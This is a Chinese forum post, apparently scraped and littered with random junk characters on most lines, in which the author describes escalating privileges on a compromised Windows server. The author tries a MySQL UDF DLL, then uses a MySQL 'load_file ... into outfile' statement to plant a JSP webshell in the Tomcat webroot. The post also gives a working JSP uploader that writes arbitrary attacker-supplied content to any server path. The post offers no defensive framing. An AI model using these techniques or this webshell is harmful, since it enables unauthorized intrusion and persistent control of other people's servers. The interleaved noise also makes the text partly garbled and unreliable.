今天碰到了这么个问题,简单记录一下我的解决方案。
' z8 A# e$ X0 |7 m& `; _' Z0 C6 D }) H
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
. p- |: g& `# c) \# N G$ E# l, Z安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
5 ]; l! t' Q8 U3 Z' w* D提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
, c& P; m4 |8 F6 s1 show variables like '%plugin%';$ r5 X: \: G% b2 \- A7 Y" N8 `2 d
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功" ]) T2 @! }% T; r/ @6 N+ M
创建自定义函数似乎被拦截,一直失败。$ r! v. b. W& R7 o Q* O$ G
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
! Z6 W- [1 X, T) Q# T* L测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
' p3 s8 J4 h+ B' S" v用mysql执行语句:
9 j" `3 Q" e7 c: i* I1 select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
; v& ~2 M6 y! j$ V2 复制代码( h' _' W2 X' o. S( f; ?
后成功。* N. n* z4 M1 i5 z- S9 ~
但是访问后得到如下提示:
5 }9 i9 _" C. ~7 {, b500页面
$ [& v3 D. m1 A$ Q& b& w# H
# C9 T8 q0 J: H/ U Y' P2 Y' p+ j6 _7 s# O* J0 E% }! ?& @
明显是MySQL的Win下版本自动添加转义符\n\r了8 T( c: J5 p0 L: T& x
这样导致程序运行的悲剧。5 J$ t7 H5 Y% a# L2 g% D5 O
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
) ^7 V1 Q9 x5 K- g最后弄了这么个小脚本:- }6 a5 ~9 ], w+ |; @" L J! J0 V4 g& r( S
01 <%@ page language="java" pageEncoding="gbk"%>
( C. u* E. o$ ~- G d1 y6 W02 <jsp:directive.page import="java.io.File"/>
, D, K5 E1 s- t% m03 <jsp:directive.page import="java.io.OutputStream"/>* z- g% a9 R/ `; R6 o8 t
04 <jsp:directive.page import="java.io.FileOutputStream"/>
9 j6 }. W& L! k9 N05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
% g* e U9 c1 Y) [06 error www.2cto.com
( v: a, Y4 t' m; ^07 <%}}if(i==0){%>& `( n/ J& j' ~6 F$ [" Q
08 ok( \6 y- o; M6 M' m5 {2 h
09 <%}%>6 O% t1 f6 ^+ H) `" F; y7 y% n
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
0 N) `; c9 f) g* R3 M- `. Z3 x8 R就可以避免转义符让JSP的马儿运行500错误了。3 w+ f3 Y5 j* L1 y
|